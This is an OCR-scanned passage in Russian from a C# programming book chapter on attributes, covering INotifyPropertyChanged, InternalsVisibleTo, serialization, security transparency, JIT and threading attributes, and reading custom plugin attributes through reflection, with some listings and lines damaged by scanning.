показано в листинге 15.11, этот интерфейс очень прост-и имеет всего один член — событие, которое на- зывается PropertyChanged. 740
Листинг 15.11. Интерфейс INotifyPropertyChanged public interface INotifyPropertyChanged event PropertyChangedEventHandler PropertyChanged; } Типы, реализующие этот интерфейс, вызывают событие PropertyChanged всякий раз, когда меняется одно из их свойств. Аргу- мент PropertyChangedEventArgument предоставляет строку, содержащую только что измененное свойство. Такие уведомления об изменениях полезны при работе с пользовательским интерфейсом, так как они по- зволяют использовать этот объект технологиям связывания данных (например, технологиям XAML, описанным в главе 19), что позволяет автоматически обновлять пользовательский интерфейс в любой момент при изменении свойств. Это может помочь вам достичь четкого разделе- ния между кодом, имеющим дело непосредственно с пользовательским интерфейсом, и кодом, который содержит логику, определяющую реак- цию приложения на действия пользователя. Реализация интерфейса INotifyPropertyChanged утомительна, часто могут возникать ошибки. Поскольку событие PropertyChanged представ- ляет измененное свойство в виде строки, очень легко неправильно на- брать имя свойства или случайно использовать неправильное имя, если вы копируете и вставляете реализацию из одного свойства в другое. Кроме того, если переименовать свойство, можно легко забыть изме- нить текст, используемый для события, что означает, что код, который был ранее верным, теперь будет передавать неправильное имя при вы- зове события PropertyChanged. Атрибуты, содержащие информацию о вызывающей стороне, не осо- бо полезны из-за сложной природы и утомительного характера реализа- ции этого интерфейса, но они способны помочь сократить количество возникающих ошибок. В листинге 15.12 показан базовый класс, кото- рый реализует интерфейс INotifyPropertyChanged с использованием одного из этих атрибутов. Листинг 15.12. Повторно используемая реализация интерфейса INotifyPropertyChanged. public class NotifyPropertyChanged INotifyPropertyChanged public event PropertyChangedEventHandler PropertyChanged; protected void OnPropertyChanged( 741
Глава 15 [CallerMemberName] string propertyName = null) { if (PropertyChanged != null) { PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } } Наличие атрибута [CallerMemberName] означает, что класс, произво- дный от этого типа, не должен указывать имя свойства, если оно вызы- вает событие OnPropertyChanged изнутри метода set, что показано в ли- стинге 15.13. Листинг 15.13. Вызов события OnPropertyChanged public class MyViewModel NotifyPropertyChanged { private string _name; public string Name { get { return _name; I set { if (value _name) { _name = value; OnPropertyChanged(); } } } } Даже с использованием нового атрибута реализация интерфейса INotifyPropertyChanged явно требует больше усилий, чем реализация автоматического свойства, где вы просто пишете код {get; set;}, а ком- пилятор сделает всю остальную работу за вас. Это чуть более сложно, чем явная реализация тривиального свойства с полями, и ненамного 742 ~
Атрибуты проще, чем эквивалентный код,тгаписанный для .NET 4.5 или ниже. По- тому до сих пор нет простого способа изменения способа уведомления. Разница заключается лишь в том, что я смог опустить имя свойства при запросе базового класса для создания события. Тем не менее этот способ имеет один большой плюс — теперь можно быть уверенным, что всякий раз будет использоваться правильное имя, даже если позже свойство окажется переименовано. Атрибуты, обрабатываемые CLR Некоторые атрибуты особым образом обрабатываются средой вы- полнения CLR во время работы программы. Полного официального списка таких атрибутов не существует, так что в ближайших нескольких разделах я опишу наиболее широко используемые экземпляры. Атрибут InternalsVisibleToAttribute Вы можете применить атрибут InternalsVisibleToAttribute к сбор- ке, чтобы заявить, что любые внутренние типы или члены, определен- ные в ней, должны быть видны одной или нескольким другим сборкам. Популярный способ применения этого атрибута — обеспечить модуль- ное тестирование внутренних типов. Как показано в листинге 15.14, вы просто передаете имя сборки в качестве аргумента конструктора. Строгое именование усложняет ситуацию. Сборки со строги- л * ми именами не могут открыть свои внутренние члены для сбо- ——Ъ?‘‘рок со слабыми именами и наоборот. Когда строго именован- ная сборка открывает свои внутренние члены другой строго именованной сборке, необходимо указать не только простое имя, но еще и открытый ключ той сборки, к которой предостав- ляется доступ. И это не просто маркер открытого ключа, опи- санный в главе 12, — это шестнадцатеричное значение само- го ключа, что имеет несколько сотен разрядов. Полный ключ сборки можно узнать с помощью инструмента sn.exe, исполь- зуя аргумент -тр, за которым следует указать путь к сборке. Листинг 15.14. Атрибут InternalsVisibleToAttribute [assembly:InternalsVisibleTo("ImageManagement.Tests”)] [assembly:InternalsVisibleTo(’’Imageservices.Tests”) ]
Глава 15 В этом примере показывается способ открытия типов для ряда сб рок с применением одного атрибута и указанием другого имени сбор] несколько раз подряд. Среда выполнения CLR отвечает за соблюдение правил доступ Обычно, если вы пытаетесь использовать внутренний класс друп сборки, вы получаете сообщение об ошибке во время выполнения. (С даже не позволит скомпилировать такой код, но компилятор мож1 обмануть. Или же можно просто писать сразу код на промежуточнс языке. Ассемблер промежуточного кода, ILASM, делает все, что вы ел укажете, и налагает гораздо меньше ограничений, чем С#. Как толы вы обойдете ограничения процесса компиляции, вы столкнетесь с огр ничениями процесса выполнения.) Но когда этот атрибут присутствус среда CLR не распространяет данные правила на перечисленные сбо] ки. Компилятор также понимает этот атрибут и позволит скомпил! роваться коду, который пытается использовать определенные внеш! внутренние типы, до тех пор пока внешние библиотеки, применяют! вашу сборку, отмечены атрибутом InternalsVisibleToAttribute. Этот атрибут представляет собой лучшее решение проблемы, с к торой мы столкнулись в одном из примеров в главе 1 — я хотел пол чить точку входа в программу из теста, но по умолчанию класс Progr является внутренним. Я добился своего, сделав открытыми даннь класс и метод Main, но если бы я вместо этого использовал атриб InternalsVisibleTo, я мог бы оставить класс внутренним. Мне бы в равно пришлось сделать метод Main более доступным: по умолчанию! закрытый, и следовало сделать его как минимум внутренним, это в равно лучше, чем открытым. Помимо того что этот атрибут полезен в сценариях модульного т стирования, он также может пригодиться, если вы хотите разделить ю на несколько сборок. Если вы написали большую библиотеку класса, t можете не захотеть помещать его в одну массивную DLL. Если суш ствует несколько областей, которые ваши клиенты, возможно, захот использовать по отдельности, было бы целесообразно разделить е так, чтобы они могли развернуть только те части, в каких нуждаются Однако, хотя вы можете разбить на части библиотеки общедоступж API, реализацию может быть не так легко разделить, особенно если ва * Вы можете задаться вопросом, поможет ли в этой ситуации использование mhoi модульных сборок. Нет, поскольку сборки обязательно разворачивать полностью.; пуск программы в случае отсутствия некоторых модулей не осуществится. 744
Атрибуты код содержит много повторного использования. Вы можете иметь много классов, которые не предназначены для общественного потребления, но которые вы применяете во всем коде. Если бы не существовало атрибута InternalsVisibleToAttribute, было бы неудобно повторно использовать общие детали реализации между сборками. Либо каждой сборке понадобится своя копия соответ- ствующих классов, либо потребуется сделать некоторые классы обще- доступными и поместить их в какую-либо общую сборку. Проблема со вторым способом заключается в том, что если сделать типы общедо- ступными, люди захотят их использовать. В вашей документации мо- жет быть указано, что типы предназначены лишь для применения вну- три вашего фреймворка, и они не должны быть использованы, но это не остановит некоторых разработчиков. К счастью, вам не придется делать свои типы общедоступными. Лю- бые типы, представляющие собой детали реализации, могут оставать- ся внутренними, и вы можете сделать их доступными для всех ваших сборок с помощью атрибута InternalsVisibleToAttribute, сохраняя при этом их недоступными для всех остальных. Сериализация Среда выполнения CLR может сериализовать определенные объ- екты, что означает, что она может записать все значения полей объекта в двоичный поток. Среда выполнения может десериализовать этот по- ток в новый объект через некоторое время, возможно, в другом процессе или даже на другом компьютере. При сериализации могут встретиться поля, содержащие ссылки, в этом случае все объекты, на которые ссыла- ется ваш, также автоматически сериализуются. Этот процесс обнаружи- вает циклические ссылки, чтобы избежать входа в бесконечный цикл. Я опишу использование сериализации в главе 16 после рассмотрения некоторых типов, связанных с вводом/выводом, а сейчас я просто хочу поговорить о связанных с этим процессом атрибутах. Не все объекты сериализуемы. Например, рассмотрим объект, кото- рый представляет собой сетевое соединение. Что бы это значило, если бы вы сериализовали его, скопировали в двоичный поток на другом компьютере, а затем десериализовали? Вы ожидаете получить объект, который был бы подключен к той же конечной точке, что и* исходный? Для многих сетевых протоколов, это скорее всего не сработает. (Напри- мер в TCP, очень популярном протоколе, который лежит в основе HTTP 745
Глава 15 и многочисленных других форм общения, адреса двух общающихся компьютеров являются неотъемлемой частью соединения TCP, поэтому если вы переместитесь за другой компьютер, то, по определению, вам понадобится создать новое соединение.) На практике, поскольку операционная система предоставляет сете- вой стек, объект, представляющий соединение, вероятно, будет иметь числовое поле, где содержится особый номер дескриптора, предо- ставляемый ОС, который не станет работать в другом процессе. В ОС Windows эти значения обычно находятся в области применения одного процесса. (Существуют способы поделиться дескрипторами в некото- рых ситуациях, но общего механизма нет. Очень распространена ситуа- ция, когда одно конкретное числовое значение дескриптора имеет раз- ный смысл в разных процессах, так что даже если вы хотите поделиться им с другим процессом, он уже может использовать то же самое значе- ние для ссылки на что-то другое. Таким образом, хотя два различных процесса могли бы получить значение дескриптора для одного и того же объекта, фактические числовые значения часто будут отличаться.) Десериализация объектов, которые содержат номера дескрипторов, в лучшем случае вызовет ошибку, но вполне может привести и к более тонким проблемам. Сериализация — это опциональная функция, только автор типа будет знать, даст ли создание полной копии объекта поле за полем (что, собственно, и делает сериализация) какой-нибудь положи- тельный результат. Вы можете применить к вашему классу атрибут SerializableAttribute. В отличие от большинства атрибутов, этот ука- зывает на необходимость использования особого формата метаданных .NET — для некоторых частей описания классов устанавливается флаг. Подробнее об этом вы можете прочитать во врезке «Встроенные или пользовательские атрибуты?». Встроенные или пользовательские атрибуты? Иногда вы можете встретить термин «пользовательский атрибут». В спецификации языка C# этот термин не определен. Однако он определен в спецификации CLI. В документации компании Microsoft для фреймворка .NET также используется этот термин, но таким об- разом, что он не-совсем согласуется ни со средой выполнения CLI, ни даже с самим собой. 746
Атрибуты Что касается спецификации CLI, то пользовательский атрибут — это любой атрибут, не имеющий особого внутреннего обработчика в формате метаданных. Подавляющее большинство атрибутов, кото- рые вы будете использовать, попадают в эту категорию, в том числе большинство атрибутов определенных в библиотеке классов .NET Framework. Даже некоторые из атрибутов, обрабатываемых CLR, такие как InternalsVisibleToAttribute, являются пользовательскими атрибутами по этому определению. Атрибуты с внутренней поддерж- кой формата файлов, такие как serializableAttribute, — исключения. В библиотеке документации Microsoft Developer Network (MSDN) атрибуты рассматриваются в разделе, озаглавленном «Расширение метаданных с помощью атрибутов». Этот раздел использует тер- мин «пользовательский атрибут», который означает атрибут типа, не являющегося частью фреймворка .NET. Другими словами, раз- личие в том, кто автор атрибута — вы или компания Microsoft. Одна- ко в некоторых местах библиотеки MSDN этот термин использует- ся шире, что больше соответствует его определению для CLI. Есть несколько мест, в которых по-прежнему используется'более ши- рокое определение, представляя structLayoutAttribute как пример пользовательского атрибута. Этот атрибут является частью службы взаимодействия (что будет рассмотрено в главе 21), и, как атрибут SerializeableAttribute, он один из немногих внутренних атрибутов типа — в формате метаданных .NET имеется встроенный обработ- чик для определенных особенностей взаимодействия. Так, в некото- рых случаях в библиотеке MSDN термин «пользовательский атрибут» используется в качестве синонима для подробного атрибута. (Это не значит, что нужно спускать всех собак на составителей MSDN — длинное имя позволит избежать неоднозначности в определенных контекстах. Слово «атрибут» довольно широко используется в вы- числительной технике, и может быть необходимо говорить об атри- бутах, рассмотренных в этой главе, наряду с некоторыми другими видами атрибутов, таких как атрибуты HTML- или XML-элементов. Использование более длинного имени может упростить жизнь чита- телей за счет снижения неопределенности.) Одной из причин появления неопределенности и непоследователь- ности служит тот факт, что в большинстве случаев нет никаких реаль- ных технических причин делать различие. Если вы пишете инстру- мент, который работает непосредственно с двоичным форматом метаданных, очевидно, вы должны знать, какие атрибуты поддер- живаются форматом непосредственно, но большая часть кода мо- жет игнорировать эти детали; в языке C# синтаксис в любом случае будет одинаковым, а компилятор и среда выполнения обработают разницу за вас. Существует несколько механизмов сериализации 747
Глава 15 .^lET, и только один из них имеет внутреннюю поддержку метадан- ных, но нет особой разницы, как вы будете их использовать. Такж| нет никакой технической разницы между одним из ваших классов являющихся производным от Attribute, и подобным классом, напи- санным кем-то в компании Microsoft, который может поставляться как часть библиотеки классов фреймворка .NET. Применяя атрибут SerializableAttribute, вы даете разрешение сре де выполнения CLR брать поля вашего класса и записывать их значе^ ния в поток, а также не использовать обычные конструкторы при вое создании экземпляра вашего типа из сериализованного потока. (Н^ самом деле, вы можете предоставить специальный конструктор для не- лей сериализации, что показано в главе 8, но если вы не предоставит его, механизм сериализации создаст экземпляры вашего типа без вызо ва конструктора. Это одна из причин того, почему сериализация - эт функция среды выполнения CLR, а не элемент библиотеки.) Вы может выбрать отдельные поля, которые сериализовать не следует, примени! к ним атрибут NonSerializedAttribute. Кстати, в библиотеке классов фреймворка .NET существует не сколько механизмов, позволяющих выполнять действия, аналогичны сериализации. На самом деле, количество вариантов может привест в недоумение, поскольку классы XmlSerializer, DataContractSerializel NetDataContractSerializer и DataContractJsonSerializer предлагаю различные форматы и философию сериализации. Мы рассмотрим и в главе 16, но на данный момент эти системы важны только потому, чт они определяют многочисленные атрибуты. Однако так как эти другц формы сериализации являются всего лишь библиотечными элементам^ а не внутренними службами, действующими во время выполнения, и1 атрибуты не обрабатываются средой выполнения CLR особым образом. Безопасность Фреймворк .NET может накладывать ограничения в сфере безопас- ности на определенный код. Например, код, загруженный надстрой- кой Silverlight, по умолчанию не сможет свободно читать и записывать данные в файл или открывать сетевые соединения с тем компьютером, с которым он захочет. Несистемный код является лишь частично на- дежным. Тем не менее системные сборки, встроенные в Silverlight, пол- ностью надежны. (По умолчанию такова большая часть кода, который 748
Атрибуты выполняется в полной версии фреймворка .NETr-хотя существуют раз- личные способы разместить этот код так, чтобы он работал в режиме ча- стично надежного кода, если вам это нужно.) Среда выполнения CLR автоматически блокирует частично надежный код, когда тот пытается выполнить некоторые операции. Существуют различные атрибуты, связанные с этим процессом. Мно- гочисленные типы и методы фреймворка .NET аннотированы атрибутом SecurityCriticalAttribute, и среда выполнения CLR будет блокировать ненадежный код и не позволит ему использовать этот код. Тем не менее методы, помеченные атрибутом SecuritySafeCriticalAttribute, предо- ставляют способ пересечь данную границу. Они действуют как шлюз, через который ненадежный код может вызвать критический с точки зре- ния безопасности API; ненадежный код может вызывать такой метод, и этот метод затем сможет вызвать другой метод, критический с точ- ки зрения безопасности, несмотря на наличие ненадежного кода выше в стеке. Такие шлюзы предназначены для выполнения любой необходи- мой валидации и проверки безопасности, прежде чем будет выполнена основная работа, и должны быть написаны особо внимательно, чтобы избежать появления дыры в безопасности. (Вы часто будете видеть этот атрибут в библиотеке классов фреймворка .NET, но если вы не создаете библиотеки, предназначенные для того, чтобы предоставить возможно- сти использовать некоторые службы ненадежным кодом, вам не нужно будет применять его в своем коде.) Сборки могут рассматриваться как частично надежные с помощью атрибута Secur ityTransparentAttribute. Это предоставляет возможность активно отказываться от статуса полностью надежной сборки, что может снизить шансы появления дыры в безопасности. Код, помеченный этим атрибутом, будет доступен для любого частично надежного кода, пото- му что подобный код не может применять любые критические функции, и, следовательно, частично надежный код может его использовать. Сре- да выполнения CLR навязывает его во время JIT-компиляции — она не позволит прозрачному коду применять функции, критические с точки зрения безопасности. Вам будет доступен только другой прозрачный кодили код, помеченный атрибутом SecuritySafeCriticalAttribute. JIT-компиляция Есть несколько атрибутов, которые влияют на то, как JIT-ком- пилятор генерирует код. Вы можете применить к методу атри- бут MethodlmplAttribute, передавая значения из перечисления 749
Глава 15 MethodlmplOptions. Его значение Nolnlining гарантирует, что в случа когда ваш метод вызывает другой метод, этот вызов будет полным. Б данного атрибута JIT-компилятор иногда будет просто копировать ю целевой функции непосредственно в код вызывающего метода. В общем случае вы захотите оставить встраивание кода. JIT-комп лятор встраивает лишь небольшие методы, и это особенно важно д. крошечных методов, таких как методы доступа к свойствам. Для пр стых свойств на основе полей полный вызов метода доступа к свойси требует генерации большего количества кода, чем встраивание, так ч подобная оптимизация может произвести меньше кода, который таю будет быстрее. (Даже если кода не станет меньше, он все равно окажет быстрее, поскольку вызов функции может быть на удивление долги Современные процессоры, как правило, более эффективно работа} с длинными последовательными потоками инструкций, чем с кодо который прыгает из одного места в другое.) Тем не менее встраивай! является оптимизацией с заметными побочными эффектами — встрое ный метод не получает собственный кадр стека. Существуют диагност ческие API, вы можете использовать их для проверки стека, и встраив ние изменит число зарегистрированных кадров стека. Если вы прос хотите спросить «Какой метод меня вызывает?», новые атрибуты .NI 4.5, хранящие информацию о вызывающей стороне, обеспечат более а фективный способ получения этой информации, который принимает, внимание встраивание методов. Но если у вас есть код, проверяют! стек по какой-либо причине, он иногда может быть запутан из-за встр ивания. Так, иногда может быть полезно отключить встраивание. Кроме того, вы можете указать атрибут Aggressivelnlining, которь велит JIT-компилятору встраивать такие вещи, для которых в обычж ситуации был бы применен полный вызов. Если вы определили, ч для конкретного метода очень важна производительность, возможи стоит попробовать использовать этот атрибут, чтобы увидеть, будет j разница, при этом имейте в виду, что код может стать как быстрее, т; и медленнее — это зависит от обстоятельств. И наоборот, вы можете о ключить всю оптимизацию с помощью опции NoOptimization (хотя док ментация предполагает, что это больше на благо команды разработчик! среды выполнения CLR из компании Microsoft, чем для потребителе так как данный атрибут предназначен для «отладки возможных пр блем генерации кода»). Другой атрибут, который оказывает влияние на оптимизацию, - э DebuggableAttribute. Он обычно применяется на уровне сборки, а ко 750
Атрибуты пилятор C# автоматически использует его для сборок в режиме отлад- ки. (Вы можете взять его и для отдельных модулей.) Атрибут сообщает среде выполнения CLR, что она была менее агрессивна по поводу неко- торых оптимизаций, в частности тех, которые затрагивают время жизни переменной, а также тех, что меняют порядок выполнения кода. Обыч- но компилятор имеет право изменить такие вещи до тех пор, пока ко- нечный результат выполнения кода не меняется, но это может привести к путанице, если вы зайдете с помощью отладчика в середину оптимизи- рованного метода. Этот атрибут гарантирует, что значения переменных и поток выполнения легко отследить в этом сценарии. Еще один атрибут, который воздействует на всю сборку во время ге- нерации кода, — это атрибут LoaderOptimizationAttribute. Он не предна- значен для диагностических сценариев. Этот атрибут указывает, ожидаете ли вы, что частичная сборка будет загружена в несколько доменов при- ложений. Домен приложения — это как процесс внутри процесса, он мо- жет быть полезен для установления границ безопасности. (Например, вы можете указать, что все несистемные DLL, загруженные в отдельный до- мен приложения, будут рассматриваться как частично надежные.) Он не использует обычные механизмы изоляции операционной системы, вме- сто этого он полагается на полностью управляемое выполнение — среда выполнения CLR гарантирует, что код из одного домена приложения не может напрямую использовать объекты из другого домена приложения. Этот атрибут может изменить способ генерации кода средой выполнения CLR; он может рпределить, должен ли код позволять делиться ресурсами, если одна сборка загружается в несколько доменов. Без этого среда вы- полнения CLR создаст дополнительные копии определенного кода и вну- тренних структур данных для каждого домена приложения, который за- гружает сборку. Хотя подобный обмен уменьшает использование памяти, он обычно замедляет выполнение кода, поэтому вам вряд ли захочется применить подобный механизм разделения для тех сборок, которые за- гружаются только в один домен приложения в отдельном процессе. Би- блиотека может быть настроена для использования в нескольких доменах приложений, в то время как файл с расширением .ехе, вероятно, нет. Атрибуты STAThread и MTAThread Вы будете часто видеть атрибут [STAThread] рядом с Методом Main. Он является инструкцией для слоя взаимодействия с СОМ среды вы- полнения CLR СОМ, который описан в главе 21, но этот атрибут имеет также более широкое применение: он понадобится вам рядом с методом 751
Глава 15 1 Main, если вы захотите, чтобы в вашем основном потоке разместились элементы пользовательского интерфейса. < Различные особенности пользовательского интерфейса используют СОМ. Например, буфер обмена и некоторые другие. СОМ имёет не сколько моделей потоков, и только одна из них совместима с потоками пользовательского интерфейса. Одной из главных причин этого являет^ ся тот факт, что элементы пользовательского интерфейса имеют сход< ные с обычными потоки, поэтому СОМ должен гарантировать, что он^ выполняют свои действия в правильном потоке. Кроме того, если по' ток пользовательского интерфейса не выполняет регулярную проверку и обработку сообщений, может возникнуть взаимная блокировка. Если вы не указываете СОМ, что конкретный поток — это поток пользова-j тельского интерфейса, вы столкнетесь с проблемами. j I j Даже если вы не пишете код пользовательского интерфейсу 4 * вам иногда может потребоваться атрибут [STAThread], так Kai ——3?'некоторые компоненты СОМ неспособны функционировал без него. Тем не менее чаще всего вы будете встречать это1 атрибут при работе над пользовательским интерфейсом. Так как СОМ управляется средой выполнения CLR, она должна знать, что ей следует указать СОМ, что конкретный поток необходи- мо обработать как поток пользовательского интерфейса. При создания нового потока явно с помощью приемов, показанных в главе 17, вы можете настроить режим для СОМ, но основной поток — это особы! случай, среда выполнения CLR создает его при запуске приложения и к моменту выполнения кода уже слишком поздно настраивать это1 поток. Размещение атрибута [STAThread] рядом с методом Main гово- рит среде выполнения о том, что основной поток должен быть инициа- лизирован совместимым с пользовательским интерфейсом поведени- ем СОМ. STA — это сокращение от single-threaded apartment (однопоточное подразделение). Потоки, которые участвуют в СОМ, всегда являются либо STA или МТА {multithreaded apartment (многопоточное подразде- ление)). Существуют и другие виды apartments, но потоки могут линп временно иметь этот тип; при создании потока с использованием CON обязательно следует выбрать режим STA или МТА. Поэтому неудиви тельно, что существует также и атрибут [MTAThread]. 752
Атрибуты Интероперабельность Ряд атрибутов определен в службах"взаимодействия, о которых бу- дет рассказано в главе 21. Большинство из них обрабатываются непо- средственно средой выполнения CLR, потому что взаимодействие яв- ляется неотъемлемой особенностью среды выполнения. Поскольку эти атрибуты имеют смысл только в контексте тех механизмов, которые они поддерживают, и этой теме посвящена глава 21, я не буду описывать их сейчас. Определение и использование пользовательских атрибутов Подавляющее большинство атрибутов, с которыми вы столкнетесь, не присущи среде выполнения программы или компилятору. Они опре- делены в библиотеках классов и могут воздействовать, только если вы используете соответствующие библиотеки или фреймворки. Вы можете сделать то же самое в своем коде — например, определить свои собствен- ные типы атрибутов. (Несмотря на неоднозначность, которую я описал ранее, один момент, с которым все, кажется, согласны, — атрибуты типа, написанные вами, безусловно, являются пользовательскими атрибу- тами.) Поскольку атрибуты ничего не делают сами по себе — даже их экземпляры не создаются до тех пор, пока его кто-либо не запросит, — обычно следует создавать собственные типы атрибутов, только если вы пишете что-то наподобие фреймворка, в частности если он работает с отражением. Большинство атрибутов в библиотеке классов фреймворка .NET функционируют таким образом. Например, фреймворк модульного те- стирования обнаруживает тестовые классы, который вы создаете, с по- мощью отражения, и вы можете управлять поведением тестирующего объекта, применяя атрибуты. Другой пример — среда разработки Visual Studio использует отражение для обнаружения свойств редактируемых объектов при создании пользовательского интерфейса (например, эле- ментов управления), и она будет искать определенные атрибуты, кото- рые позволяют вам настроить поведение при редактировании. Также атрибуты нужны для настройки исключений на использование правил, применяемых инструментами статического анализа кода среды разра- ботки Visual Studio с аннотацией вашго кода с помощью атрибутов. Во всех этих случаях какой-либо инструмент или фреймворк проверяет ваш 753
Глава 15 код и решает, что делать, на основе того, что он находит. Это такой сцена- рий, для которого пользовательские атрибуты вполне подходят. Например, атрибуты могут быть полезны, если вы пишете приложе- ние, которое конечные пользователи могут расширять. Вы, возможно, предоставите поддержку загрузки внешних сборок, расширяющих воз- можности вашего приложения, — это часто называют моделью надстро: ек. Может быть полезно определить атрибут, позволяющий надстройке предоставить описательную информацию о себе. Использовать атрибу- ты в этом случае не обязательно — вы можете определить как минимум один интерфейс, который должны реализовать все надстройки, а в нем будут находиться члены, предназначенные для получения необходимой информации. Однако одним из преимуществ использования атрибутов является отсутствие необходимости создавать экземпляр надстройки только для получения его описания. Это позволит вам показать детали надстрой- ки пользователю до загрузки, что может быть важно, если установка надстройки может иметь побочные эффекты, столкнуться с которыми пользователь может не захотеть. Тип атрибута В листинге 15.15 показано, как может выглядеть атрибут, содержа- щий информацию о надстройке. Листинг 15.15. Тип атрибута [Attributeusage(AttributeTargets.Class) ] public class PluginlnformationAttribute Attribute { public PluginlnformationAttribute(string name, string author) { Name = name; Author = author; } public string Name { get; private set; } public string Author { get; private set; } public string Description { get; set; } } 754
Атрибуты Для того чтобы действовать в качестве атрибута, тип должен быть производным от базового класса Attribute. Хотя класс Attribute определяет различные статические методы для обнаружения и извлечения атрибутов, он не особо интересует- ся экземплярами объектов. Мы не наследуем от него, чтобы получить какую-либо функциональность; мы делаем это потому, что компилятор позволит вам использовать тип как атрибут, только если он является производным от класса Attribute. Обратите внимание, что имя моего типа заканчивается словом Attribute. Это не абсолютное требование, но такое соглашение исполь- зуется чрезвычайно широко. Как вы уже видели ранее, оно даже встрое- но в компилятор, который автоматически добавляет суффикс Attribute если вы не укажете его при применении атрибута. Так что, как правило, нет причин не следовать этому соглашению. Я аннотировал мой тип другим атрибутом. Большинство типов атрибута аннотировано атрибутом AttributeUsageAttribute с указанием цели, к которой атрибут может быть успешно применен, — компилятор C# требует этого. Поскольку мой атрибут из листинга 15.15 указывает, что он может быть применен только к классам, компилятор будет генерировать ошиб- ку, если кто-нибудь попытается применить его для чего-то другого. Как вы увидели, иногда при применении атрибута необхо- димо указать его цель. Например, если атрибут появляется перед методом, его целью являются методы, если только вы не укажете это с помощью префикса return:. Вы, возможно, надеялись, что вы могли бы не использовать эти префиксы при применении атрибутов, целью которых являются только некоторые члены. Например, если атрибут может быть при- менен только к сборке, действительно ли вам нужен префикс assembly:? Тем не менее C# не позволяет не использовать их. Он применяет AttributeUsageAttribute только для проверки, что атрибут был использован правильно. Атрибут определяет только один конструктор, так что любой код, который будет его использовать, должен передать аргументы так, как того требует этот конструктор, что показано в листинге 15.16. 755
Глава 15 Листинг 15.16. Применение пользовательских атрибутов [Plugininformation("Reporting”, "Interact Software Ltd.")] public class ReportingPlugin { } Классы атрибутов могут определять несколько перегруженных кон- структоров для поддержки различных наборов информации. Они так- же могут определять свойства, как способ поддержки дополнительных фрагментов данных. Мой атрибут определяет свойство Description, ко- торое является необязательным, так как конструктор не требует значе- ния для него, но его можно установить с помощью синтаксиса, описан- ного ранее в этой главе. В листинге 15.17 показано, как это выглядит для моего атрибута. Листинг 15.17. Предоставление значения дополнительного свойства для атрибутов [Plugininformation("Reporting", "Interact Software Ltd.", Description = "Automated report generation")] public ‘class ReportingPlugin ( i ) До этого момента я не показал ничего, что могло бы создать экзем- пляр моего типа атрибута PluginlnformationAttribute. Эти аннотации являются простыми инструкциями, касающимися инициализации атри- бута, если что-то хочет увидеть его. Так что, если этот атрибут должен приносить пользу, следует написать какой-нибудь код, который будет искать его. Извлечение атрибутов Вы можете выяснить, применялся ли определенный вид атрибута, с помощью API-интерфейса отражения, который также позволяет соз- давать экземпляры атрибута. В главе 13 я продемонстрировал все типы отражений, представляющих различные цели атрибутов, — типы, такие как Methodinfo, Typeinfo и Propertyinfo. Все они реализуют интерфейс называемый ICustomAttributeProvider, который показан в листин ге 15.18. '— 756
Листинг 15.18. ICustomAttributeProvider public interface ICustomAttributeProvider object!] GetCustomAttributes(bool inherit); object!] GetCustomAttributes(Type attributeType, bool inherit); bool IsDefined(Type attributeType, bool inherit); } Метод IsDefinert просто говорит вам, присутствует ли определенный тип атрибута, но не создает его экземпляр. Два перегруженных метода GetCustomAttributes инициализируют атрибуты и возвращают их. (Это точка, в которой создаются атрибуты, а также устанавливаются значе- ния заданных свойств.) Первый перегруженный метод возвращает все атрибуты, примененные к цели, а второй позволяет запрашивать только атрибуты определенного типа. Все эти методы принимают аргумент типа bool, позволяющий ука- зать, хотите ли вы получить только атрибуты, которые были применены непосредственно к цели, какую вы преследуете, или же еще и атрибуты, определяемые базовым типом или типами. % Этот интерфейс был введен в .NET 1.0, так что он не использует обоб- щенные типы, то есть вам нужно преобразовывать возвращаемые объек- ты. В .NET 4.5 ситуация улучшается путем предоставления нескольких методов расширения с помощью класса CustomAttributeExtensions. Вме- сто того чтобы определять их в интерфейсе ICustomAttributeProvider, он расширяет классы-отражения, которые предлагают атрибуты. Напри- мер, если у вас есть переменная типа Typeinfo, вы могли бы вызвать ее метод GetCustomAttribute <PluginInformationAttribute>(), что создаст и вернет атрибут информации о надстройке, или значение null, если атрибут не представлен. В листинге 15.19 эта особенность используется для получения всей информации о надстройках о всех DLL в заданном каталоге. Листинг 15.19. Демонстрация информации о надстройках static void ShowPluginlnformation(string pluginFolder) ! var dir = new Directoryinfo(pluginFolder); foreach (var file in dir.GetFiles("*.dll")) { 757
Глава 15 Assembly pluginAssembly = Assembly.LoadFrom(file.FullName); var plugins = from type in pluginAssembly.ExportedTypes let info = type.GetCustomAttribute< PluginInformationAttribute>() where info != null select new { type, info }; foreach (var plugin in plugins) { Console.WriteLine("Plugin type: {0}", plugin.type.Name); Console.WriteLine("Name: {0}, written by {1}", plugin.info.Name, plugin.info.Author); Console.WriteLine("Description: {0}", plugin.info.Description); } } } Потенциально может возникнуть лишь единственная пробле Я говорил, что одним из преимуществ является то, что они могут бь получены без создания экземпляра их целевого типа. Это правда - я создаю надстроек в листинге 15.19. Тем не менее я загружаю сбор надстройки, и здесь может возникнуть побочный эффект при переч! лении надстроек — запуск статического конструктора в DLL надстрс ки. Таким образом, хотя я не запускаю намеренно код этих библиот я не могу гарантировать, что этот код не будет запущен вовсе. Если м цель заключалась в представлении списка надстроек для пользою ля, а также в загрузке и запуске только тех, которые были выбраны! ным образом, то я не смог осуществить ее, поскольку предоставил кс надстройки возможность запуститься. Тем не менее мы можем исп] вить это. Загрузка только с целью отражения Вам не нужно загружать сборку полностью для того, чтобы изв кать значения атрибутов. Как говорилось в главе 13, вы можете заг] зить сборку только для целей отражения. Это предотвращает зато любой части кода сборки, но позволяет проверить, какие типы ( 758
Атрибуты одержит. Однако это представляет собой проблему для атрибутов. )6ычный способ проверки свойств атрибута — создание его экзем- пляра путем вызова метода Се^из^шА^НЫ^е^или связанного ме- юда расширения. Поскольку вызов метода включает в себя создание ггрибута — что означает запуск некоторого кода, — такое поведение к поддерживается сборками, загруженными для целей отражения (даже если тип атрибута был определен в другой, полностью загру- женной сборке). Если бы я изменил листинг 15.19 так, чтобы он загру- жал сборку с помощью метода ReflectionOnlyLoadFrom, вызов метода |etCustomAttribute <PluginInformationAttribute> сгенерирует исклю- )ение. При загрузке сборки только для целей отражения вы должны ис- ользовать метод GetCustomAttributesData. Вместо создания экземпляра грибута он вернет информацию, хранимую в метаданных, — инструк- ии по созданию атрибута. В листинге 15.20 показан вариант изменения соответствующего кода истинга 15.19, который позволяет работать ему таким образом. 1истинг 15.20. Получение атрибутов только для контекста отражения ssembly pluginAssembly = Assembly.ReflectionOnlyLoadFrom(file.FullName) ; ar plugins = from type in pluginAssembly.ExportedTypes let info = type.GetCustonAttributesData() 